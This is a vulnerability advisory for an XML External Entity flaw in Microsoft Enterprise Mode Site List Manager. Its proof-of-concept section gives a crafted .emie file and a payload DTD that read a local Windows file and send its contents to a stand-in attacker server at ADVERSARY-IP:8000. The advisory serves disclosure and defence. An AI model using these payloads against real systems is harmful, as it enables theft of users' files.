Microsoft Enterprise Mode Site List Manager - XML External Entity Injection

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-ENTERPRISE-MODE-SITE-LIST-MANAGER-XXE.txt
[+] ISR: Apparition Security          
 

***Greetz: indoushka | Eduardo***  


Vendor
=============
www.microsoft


Product
===========
Enterprise Mode Site List Manager
versions(1/2)


You can use IE11 and the Enterprise Mode Site List Manager to add individual website domains and domain paths
and to specify whether the site renders using Enterprise Mode or the default mode.



Vulnerability Type
===================
XML External Entity Injection



CVE Reference
==============
N/A


Security Issue
================
Versions 1 and 2 of Microsoft Enterprise Mode Site List Manager allow local file exfiltration to a remote attacker controlled server, if the user is tricked
into using an attacker supplied ".emie" site list manager file type.



Exploit/POC
=============
1) python -m SimpleHTTPServer



2) POC.emie

<?xml version="1.0"?>  
<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ADVERSARY-IP:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


3) payload.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ADVERSARY-IP:8000?%file;'>">
%all;


Import the POC.emie into Enterprise Mode Site List Manager, then remote attackers will recieve local user files... nice.


Network Access
===============
Remote




Severity
=========
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx